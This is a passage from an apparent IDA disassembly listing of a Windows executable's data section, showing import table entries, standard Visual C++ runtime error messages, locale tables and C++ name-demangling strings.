					; sub_4023EB+F7r ...
dword_41E24C	dd 71AB60C9h		; DATA XREF: sub_40312D+F3r
dword_41E250	dd 71AB3ECEh		; DATA XREF: sub_40312D+D0r
					; sub_4081DD+A3r
dword_41E254	dd 71ABF628h		; DATA XREF: sub_403249+409r
dword_41E258	dd 71AB3E5Dh		; DATA XREF: sub_4023EB+8Fr
					; sub_40393C+122r ...
dword_41E25C	dd 71AB41DAh		; DATA XREF: sub_4049E1+399r
dword_41E260	dd 71AB1ED3h		; DATA XREF: sub_407FE4+F3r
dword_41E264	dd 71AB3F8Dh		; DATA XREF: sub_4081DD+57r
dword_41E268	dd 71AB1746h		; DATA XREF: sub_407FE4+12Dr
					; sub_407FE4+143r ...
dword_41E26C	dd 71AB1890h		; DATA XREF: sub_4081DD+105r
					; sub_40A455+8Fr
dword_41E270	dd 71AB1444h		; DATA XREF: sub_407FE4+118r
					; sub_4081DD+142r
dword_41E274	dd 71AB401Ch		; DATA XREF: sub_407FE4+199r
					; sub_408CC5+E7r ...
dword_41E278	dd 71AB155Ah		; DATA XREF: sub_40A455+54r
dword_41E27C	dd 71AB157Eh		; DATA XREF: sub_402A2D+3Cr
dword_41E280	dd 71AB868Dh		; DATA XREF: sub_4030E2+34r
dword_41E284	dd 71AB2BBFh		; DATA XREF: sub_40393C+87r
dword_41E288	dd 71AB5DE2h		; DATA XREF: sub_40312D+105r
dword_41E28C	dd 71ABD755h		; DATA XREF: sub_403249+439r
dword_41E290	dd 71AB1836h		; DATA XREF: sub_4049E1:loc_404E60r
		align 8
dword_41E298	dd 0			; DATA XREF: sub_411A79+49o
		dd offset loc_41D748, offset loc_41D765, offset	loc_41D782
		dd offset loc_41D79E, offset loc_41D7AC, offset	loc_41D7C8
		dd offset loc_41D7E4
dword_41E2B8	dd 0			; DATA XREF: sub_411A79+50o
dword_41E2BC	dd 0			; DATA XREF: sub_411A79+2Do
		dd offset sub_40C985, offset sub_40EE04, offset	sub_411455
		dd offset sub_411D0F, offset sub_4175F5, offset	sub_414EEC
dword_41E2D8	dd 0			; DATA XREF: sub_411A79+28o
dword_41E2DC	dd 0			; DATA XREF: sub_411B0B+73o
		dd offset sub_41AF5A, offset sub_411DC0
dword_41E2E8	dd 0			; DATA XREF: sub_411B0B:loc_411B79o
dword_41E2EC	dd 0			; DATA XREF: sub_411B0B+83o
		dd offset sub_414F0D
dword_41E2F4	dd 3 dup(0)		; DATA XREF: sub_411B0B:loc_411B89o
		dd offset dword_421618
off_41E304	dd offset loc_401D86, offset sub_40C8AF, offset	dword_421698
					; DATA XREF: sub_401D7Bo
					; .text:00401D89o ...
off_41E310	dd offset loc_401E08, offset sub_401DFA, offset	dword_4216E4
					; DATA XREF: sub_401DA8+20o
					; sub_401DDD+Ao ...
off_41E31C	dd offset loc_401E2F, offset sub_401DFA, offset	dword_421734
					; DATA XREF: .text:loc_401E24o
					; .text:00401E32o ...
off_41E328	dd offset loc_40AA92, offset sub_401DFA	; DATA XREF: sub_40AA87o
					; .text:0040AA95o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_40AAB4+Co
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_40AAF3+Co
		dd offset dword_421784
off_41E35C	dd offset sub_40C8BC, offset sub_40C8AF	; DATA XREF: sub_40C7CA+Ao
					; sub_40C7DB+9o ...
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_40C8AF+7o
		align 4
		dd offset dword_421798
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_292. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
oword_41E380	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: sub_40DE50+E3r
					; sub_40DE50+10Ar
oword_41E390	xmmword	4330000000000000433h ; DATA XREF: sub_40DE50+46r
oword_41E3A0	xmmword	0		; DATA XREF: sub_40DE50:loc_40DF51r
oword_41E3B0	xmmword	7FFh		; DATA XREF: sub_40DE50+5Fr
dbl_41E3C0	db 0, 0, 0, 0, 0, 0, 0,	80h ; DATA XREF: sub_40DE50:loc_40DF4Ar
dword_41E3C8	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_40E1BC+Eo
		dd 3, 19930520h, 2 dup(0)
dword_41E3E8	dd 425B20h, 425B78h, 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh
					; DATA XREF: sub_40E68F+D4o
		dd 14131211h, 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h
		dd 28272625h, 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h
		dd 3C3B3A39h, 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h
		dd 504F4E4Dh, 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh
		dd 64636261h, 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h
		dd 78777675h, 7C7B7A79h, 7F7E7Dh, 3Dh
aEncodepointer	db 'EncodePointer',0    ; DATA XREF: sub_40F128+43o
					; sub_40F267+2Eo
		align 4
aKernel32_dll_0	db 'KERNEL32.DLL',0     ; DATA XREF: sub_40F128:loc_40F15Co
					; sub_40F194:loc_40F1C8o ...
		align 4
aDecodepointer	db 'DecodePointer',0    ; DATA XREF: sub_40F194+43o
					; sub_40F267+42o
		align 4
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_40F4D7+44o
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_40F4D7+37o
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_40F4D7+2Ao
dword_41E4C4	dd 41736C46h		; DATA XREF: sub_40F4D7+22o
byte_41E4C8	db 6Ch			; DATA XREF: sub_4109D7+177r
		db 6Ch,	6Fh, 63h
		align 10h
aNull:					; DATA XREF: .data:off_423928o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .data:off_423924o
		align 4
byte_41E4E8	db 6			; DATA XREF: sub_4109D7:loc_410B60r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38202800h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_411981+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_411981o
aCcs		db 'ccs=',0             ; DATA XREF: sub_411E84+1CCo
		align 4
aUtf8		db 'UTF-8',0            ; DATA XREF: sub_411E84+1E0o
		align 10h
aUtf16le	db 'UTF-16LE',0         ; DATA XREF: sub_411E84:loc_412081o
		align 4
aUnicode	db 'UNICODE',0          ; DATA XREF: sub_411E84:loc_41209Eo
aRuntimeError	db 'runtime error ',0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 8
aR6034AnApplica	db 'R6034',0Dh,0Ah
		db 'An application has made an attempt to load the C runtime library '
		db 'incorrectly.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 8
aR6033AttemptTo	db 'R6033',0Dh,0Ah
		db '- Attempt to use MSIL code from this assembly during native code '
		db 'initialization',0Ah
		db 'This indicates a bug in your application. It is most likely the r'
		db 'esult of calling an MSIL-compiled (/clr) function from a native c'
		db 'onstructor or from DllMain.',0Dh,0Ah,0
		align 10h
aR6032NotEnough	db 'R6032',0Dh,0Ah
		db '- not enough space for locale information',0Dh,0Ah,0
		align 8
aR6031AttemptTo	db 'R6031',0Dh,0Ah
		db '- Attempt to initialize the CRT more than once.',0Ah
		db 'This indicates a bug in your application.',0Dh,0Ah,0
		align 4
aR6030CrtNotIni	db 'R6030',0Dh,0Ah
		db '- CRT not initialized',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_423BE4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4136C1+157o
		align 10h
asc_41EB00	db 0Ah			; DATA XREF: sub_4136C1:loc_4137D1o
		db 0Ah,0
		align 4
a___		db '...',0              ; DATA XREF: sub_4136C1+E8o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4136C1+A3o
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4136C1+5Bo
		db 0Ah
		db 'Program: ',0
		align 4
		dd 2 dup(0)
		dd 7FF00000h, 0
		dd 0FFF00000h, 0
		dd 7FE00000h, 0
		dd 200000h, 3 dup(0)
		dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h,	0FFC00000h
		dd 0
		dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h,	8DA24260h
		dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
dword_41EBA8	dd 6E6174h		; DATA XREF: sub_4143F6:loc_41462Eo
dword_41EBAC	dd 736F63h		; DATA XREF: sub_4143F6:loc_414625o
dword_41EBB0	dd 6E6973h		; DATA XREF: sub_4143F6:loc_41461Co
aModf		db 'modf',0             ; DATA XREF: sub_4143F6:loc_414610o
		align 4
aFloor		db 'floor',0            ; DATA XREF: sub_4143F6:loc_414604o
		align 4
aCeil		db 'ceil',0             ; DATA XREF: sub_4143F6:loc_4145FBo
		align 4
aAtan		db 'atan',0             ; DATA XREF: sub_4143F6:loc_4145F2o
		align 4
aExp10		db 'exp10',0            ; DATA XREF: sub_4143F6+1BFo
		align 10h
dbl_41EBE0	dq 1.0			; DATA XREF: sub_4146A6+6Dr
aAcos		db 'acos',0             ; DATA XREF: sub_4143F6:loc_414579o
		align 10h
aAsin		db 'asin',0             ; DATA XREF: sub_4143F6:loc_414570o
		align 4
aLog		db 'log',0              ; DATA XREF: sub_4143F6:loc_414533o
					; sub_4143F6+149o ...
aLog10		db 'log10',0            ; DATA XREF: sub_4143F6:loc_41450Co
					; sub_4143F6+131o ...
		align 4
aExp		db 'exp',0              ; DATA XREF: sub_4143F6:loc_4144D3o
					; sub_4143F6+10Do ...
aPow		db 'pow',0              ; DATA XREF: sub_4143F6:loc_41449Eo
					; sub_4143F6:loc_41454Bo ...
off_41EC0C	dd offset sub_415124	; DATA XREF: sub_410640+F1r
					; sub_410640+FAo ...
		dd offset dword_4217E0
off_41EC14	dd offset loc_414F3C, offset sub_40C8AF	; DATA XREF: sub_414F31o
					; .text:00414F3Fo ...
dword_41EC1C	dd 20646162h, 65637865h, 6F697470h, 6Eh	; DATA XREF: sub_415769+156o
dword_41EC2C	dd 41h dup(0)		; DATA XREF: sub_415CB7+25o
					; sub_41609C+27o
asc_41ED30:				; DATA XREF: .data:off_423668o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
		dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
		dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
		dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
		dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
		dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
		dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
		dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
		dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h,	8F8E8D8Ch
		dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
		dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
		dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
		dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
		dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
		dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
		dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
		dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
		dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0
aMmDdYy		db 'MM/dd/yy',0
		align 4
aPm		db 'PM',0
		align 4
aAm		db 'AM',0
		align 4
aDecember	db 'December',0
		align 4
aNovember	db 'November',0
		align 4
aOctober	db 'October',0
aSeptember	db 'September',0
		align 4
aAugust		db 'August',0
		align 10h
aJuly		db 'July',0
		align 4
aJune		db 'June',0
		align 10h
aApril		db 'April',0
		align 4
aMarch		db 'March',0
		align 10h
aFebruary	db 'February',0
		align 4
aJanuary	db 'January',0
aDec		db 'Dec',0
aNov		db 'Nov',0
aOct		db 'Oct',0
aSep		db 'Sep',0
aAug		db 'Aug',0
aJul		db 'Jul',0
aJun		db 'Jun',0
aMay		db 'May',0
aApr		db 'Apr',0
aMar		db 'Mar',0
aFeb		db 'Feb',0
aJan		db 'Jan',0
aSaturday	db 'Saturday',0
		align 10h
aFriday		db 'Friday',0
		align 4
aThursday	db 'Thursday',0
		align 4
aWednesday	db 'Wednesday',0
		align 10h
aTuesday	db 'Tuesday',0
aMonday		db 'Monday',0
		align 10h
aSunday		db 'Sunday',0
		align 4
aSat		db 'Sat',0
aFri		db 'Fri',0
aThu		db 'Thu',0
aWed		db 'Wed',0
aTue		db 'Tue',0
aMon		db 'Mon',0
aSun		db 'Sun',0
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_416874+53o
		align 4
aCompleteObject	db ' Complete Object Locator',27h,0 ; DATA XREF: r69pu5ti:0041FB5Co
		align 4
aClassHierarchy	db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: r69pu5ti:0041FB58o
		align 4
aBaseClassArray	db ' Base Class Array',27h,0 ; DATA XREF: r69pu5ti:0041FB54o
		align 4
aBaseClassDescr	db ' Base Class Descriptor at (',0 ; DATA XREF: r69pu5ti:0041FB50o
aTypeDescriptor	db ' Type Descriptor',27h,0 ; DATA XREF: r69pu5ti:0041FB4Co
		align 4
aLocalStaticThr	db '`local static thread guard',27h,0 ; DATA XREF: r69pu5ti:0041FC98o
aManagedVectorC	db '`managed vector copy constructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC94o
		align 4
aVectorVbaseCop	db '`vector vbase copy constructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC90o
		align 10h
aVectorCopyCons	db '`vector copy constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC8Co
		align 4
aDynamicAtexitD	db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: r69pu5ti:0041FC88o
		align 4
aDynamicInitial	db '`dynamic initializer for ',27h,0 ; DATA XREF: r69pu5ti:0041FC84o
		align 4
aEhVectorVbaseC	db '`eh vector vbase copy constructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC80o
aEhVectorCopyCo	db '`eh vector copy constructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC7Co
		align 4
aManagedVectorD	db '`managed vector destructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC78o
		align 10h
aManagedVecto_0	db '`managed vector constructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC74o
		align 4
aPlacementDelet	db '`placement delete[] closure',27h,0 ; DATA XREF: r69pu5ti:0041FC70o
		align 4
aPlacementDel_0	db '`placement delete closure',27h,0 ; DATA XREF: r69pu5ti:0041FC6Co
		align 4
aOmniCallsig	db '`omni callsig',27h,0 ; DATA XREF: r69pu5ti:0041FC68o
		align 4
aDelete		db ' delete[]',0        ; DATA XREF: r69pu5ti:0041FC64o
		align 10h
aNew		db ' new[]',0           ; DATA XREF: r69pu5ti:0041FC60o
		align 4
aLocalVftableCo	db '`local vftable constructor closure',27h,0
					; DATA XREF: r69pu5ti:0041FC5Co
aLocalVftable	db '`local vftable',27h,0 ; DATA XREF: r69pu5ti:0041FC58o
aRtti		db '`RTTI',0            ; DATA XREF: r69pu5ti:0041FC54o
		align 4
aEh		db '`EH',0              ; DATA XREF: r69pu5ti:0041FC50o
aUdtReturning	db '`udt returning',27h,0 ; DATA XREF: r69pu5ti:0041FC4Co
aCopyConstructo	db '`copy constructor closure',27h,0 ; DATA XREF: r69pu5ti:0041FC48o
		align 4
aEhVectorVbas_0	db '`eh vector vbase constructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC44o
		align 4
aEhVectorDestru	db '`eh vector destructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC40o
aEhVectorConstr	db '`eh vector constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC3Co
		align 10h
aVirtualDisplac	db '`virtual displacement map',27h,0 ; DATA XREF: r69pu5ti:0041FC38o
		align 4
aVectorVbaseCon	db '`vector vbase constructor iterator',27h,0
					; DATA XREF: r69pu5ti:0041FC34o
aVectorDestruct	db '`vector destructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC30o
		align 10h
aVectorConstruc	db '`vector constructor iterator',27h,0 ; DATA XREF: r69pu5ti:0041FC2Co
		align 10h
aScalarDeleting	db '`scalar deleting destructor',27h,0 ; DATA XREF: r69pu5ti:0041FC28o
		align 10h
aDefaultConstru	db '`default constructor closure',27h,0 ; DATA XREF: r69pu5ti:0041FC24o
		align 10h
aVectorDeleting	db '`vector deleting destructor',27h,0 ; DATA XREF: r69pu5ti:0041FC20o
		align 10h
aVbaseDestructo	db '`vbase destructor',27h,0 ; DATA XREF: r69pu5ti:0041FC1Co
		align 4
aString		db '`string',27h,0      ; DATA XREF: r69pu5ti:0041FC18o
		align 10h
aLocalStaticGua	db '`local static guard',27h,0 ; DATA XREF: r69pu5ti:0041FC14o
		align 4
aTypeof		db '`typeof',27h,0      ; DATA XREF: r69pu5ti:0041FC10o
		align 4
aVcall		db '`vcall',27h,0       ; DATA XREF: r69pu5ti:0041FC0Co
aVbtable	db '`vbtable',27h,0     ; DATA XREF: r69pu5ti:0041FC08o
		align 4
aVftable	db '`vftable',27h,0     ; DATA XREF: r69pu5ti:0041FC04o
		align 4
asc_41FA04	db '^=',0               ; DATA XREF: r69pu5ti:0041FC00o
		align 4
asc_41FA08	db '|=',0               ; DATA XREF: r69pu5ti:0041FBFCo
		align 4
asc_41FA0C	db '&=',0               ; DATA XREF: r69pu5ti:0041FBF8o
		align 10h
asc_41FA10	db '<<=',0              ; DATA XREF: r69pu5ti:0041FBF4o
asc_41FA14	db '>>=',0              ; DATA XREF: r69pu5ti:0041FBF0o
asc_41FA18	db '%=',0               ; DATA XREF: r69pu5ti:0041FBECo
		align 4
asc_41FA1C	db '/=',0               ; DATA XREF: r69pu5ti:0041FBE8o
		align 10h
asc_41FA20	db '-=',0               ; DATA XREF: r69pu5ti:0041FBE4o
		align 4
asc_41FA24	db '+=',0               ; DATA XREF: r69pu5ti:0041FBE0o
		align 4
asc_41FA28	db '*=',0               ; DATA XREF: r69pu5ti:0041FBDCo
		align 4
asc_41FA2C	db '||',0               ; DATA XREF: r69pu5ti:0041FBD8o
		align 10h
asc_41FA30	db '&&',0               ; DATA XREF: r69pu5ti:0041FBD4o
		align 4
asc_41FA34:				; DATA XREF: r69pu5ti:0041FBD0o
		unicode	0, <|>,0
asc_41FA38:				; DATA XREF: r69pu5ti:0041FBCCo
		unicode	0, <^>,0
asc_41FA3C:				; DATA XREF: r69pu5ti:0041FBC8o
		unicode	0, <~>,0
asc_41FA40	db '()',0               ; DATA XREF: r69pu5ti:0041FBC4o
		align 4
asc_41FA44:				; DATA XREF: r69pu5ti:0041FBC0o
		unicode	0, <,>,0
asc_41FA48	db '>=',0               ; DATA XREF: r69pu5ti:0041FBBCo
		align 4
asc_41FA4C:				; DATA XREF: r69pu5ti:0041FBB8o
		dw 3Eh
		unicode	0, <>,0
asc_41FA50	db '<=',0               ; DATA XREF: r69pu5ti:0041FBB4o
		align 4
asc_41FA54:				; DATA XREF: r69pu5ti:0041FBB0o
		dw 3Ch
		unicode	0, <>,0
asc_41FA58:				; DATA XREF: r69pu5ti:0041FBACo
		unicode	0, <%>,0
asc_41FA5C:				; DATA XREF: r69pu5ti:0041FBA8o
		unicode	0, </>,0
asc_41FA60	db '->*',0              ; DATA XREF: r69pu5ti:0041FBA4o
asc_41FA64:				; DATA XREF: r69pu5ti:0041FBA0o
		unicode	0, <&>,0
asc_41FA68:				; DATA XREF: r69pu5ti:0041FB9Co
		unicode	0, <+>,0
asc_41FA6C:				; DATA XREF: r69pu5ti:0041FB98o
		unicode	0, <->,0
asc_41FA70	db '--',0               ; DATA XREF: r69pu5ti:0041FB94o
		align 4
asc_41FA74	db '++',0               ; DATA XREF: r69pu5ti:0041FB90o
		align 4
asc_41FA78:				; DATA XREF: r69pu5ti:0041FB8Co
		unicode	0, <*>,0
asc_41FA7C	db '->',0               ; DATA XREF: r69pu5ti:0041FB88o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: r69pu5ti:0041FB84o
		align 4
asc_41FA8C	db '[]',0               ; DATA XREF: r69pu5ti:0041FB80o
		align 10h
asc_41FA90	db '!=',0               ; DATA XREF: r69pu5ti:0041FB7Co
		align 4
asc_41FA94	db '==',0               ; DATA XREF: r69pu5ti:0041FB78o
		align 4
asc_41FA98	db '<<',0               ; DATA XREF: r69pu5ti:0041FB70o
		align 4
asc_41FA9C	db '>>',0               ; DATA XREF: r69pu5ti:0041FB6Co
		align 10h
aDelete_0	db ' delete',0          ; DATA XREF: r69pu5ti:0041FB64o
aNew_0		db ' new',0             ; DATA XREF: r69pu5ti:0041FB60o
		align 10h
a__unaligned	db '__unaligned',0      ; DATA XREF: r69pu5ti:0041FB44o
a__restrict	db '__restrict',0       ; DATA XREF: r69pu5ti:0041FB40o
		align 4
; a__ptr64
a__ptr64	db '__ptr64',0          ; DATA XREF: r69pu5ti:0041FB3Co
a__clrcall	db '__clrcall',0        ; DATA XREF: r69pu5ti:0041FB38o
		align 4
a__fastcall	db '__fastcall',0       ; DATA XREF: r69pu5ti:0041FB34o
		align 4
a__thiscall	db '__thiscall',0       ; DATA XREF: r69pu5ti:0041FB30o
		align 4
a__stdcall	db '__stdcall',0        ; DATA XREF: r69pu5ti:0041FB2Co
		align 10h
a__pascal	db '__pascal',0         ; DATA XREF: r69pu5ti:0041FB28o
		align 4
a__cdecl	db '__cdecl',0          ; DATA XREF: r69pu5ti:0041FB24o
a__based	db '__based(',0         ; DATA XREF: r69pu5ti:0041FB20o
		align 10h
		dd offset a__based	; "__based("
		dd offset a__cdecl	; "__cdecl"
		dd offset a__pascal	; "__pascal"
		dd offset a__stdcall	; "__stdcall"
		dd offset a__thiscall	; "__thiscall"
		dd offset a__fastcall	; "__fastcall"
		dd offset a__clrcall	; "__clrcall"
		dd offset a__ptr64	; "__ptr64"
		dd offset a__restrict	; "__restrict"
		dd offset a__unaligned	; "__unaligned"
		dd offset byte_4202A1
		dd offset aTypeDescriptor ; " Type Descriptor'"
		dd offset aBaseClassDescr ; " Base Class Descriptor at ("
		dd offset aBaseClassArray ; " Base Class Array'"
		dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
		dd offset aCompleteObject ; " Complete Object Locator'"
		dd offset aNew_0	; " new"
		dd offset aDelete_0	; " delete"
		dd offset dword_41E3E8+88h
		dd offset asc_41FA9C	; ">>"
		dd offset asc_41FA98	; "<<"
		dd offset asc_420424	; "!"
		dd offset asc_41FA94	; "=="
		dd offset asc_41FA90	; "!="
		dd offset asc_41FA8C	; "[]"
		dd offset aOperator	; "operator"
		dd offset asc_41FA7C	; "->"
		dd offset asc_41FA78	; "*"
		dd offset asc_41FA74	; "++"
		dd offset asc_41FA70	; "--"
		dd offset asc_41FA6C	; "-"
		dd offset asc_41FA68	; "+"
		dd offset asc_41FA64	; "&"
		dd offset asc_41FA60	; "->*"
		dd offset asc_41FA5C	; "/"
		dd offset asc_41FA58	; "%"
		dd offset asc_41FA54	; "<"
		dd offset asc_41FA50	; "<="
		dd offset asc_41FA4C	; ">"
		dd offset asc_41FA48	; ">="
		dd offset asc_41FA44	; ","
		dd offset asc_41FA40	; "()"
		dd offset asc_41FA3C	; "~"
		dd offset asc_41FA38	; "^"
		dd offset asc_41FA34	; "|"
		dd offset asc_41FA30	; "&&"
		dd offset asc_41FA2C	; "||"
		dd offset asc_41FA28	; "*="
		dd offset asc_41FA24	; "+="
		dd offset asc_41FA20	; "-="
		dd offset asc_41FA1C	; "/="
		dd offset asc_41FA18	; "%="
		dd offset asc_41FA14	; ">>="
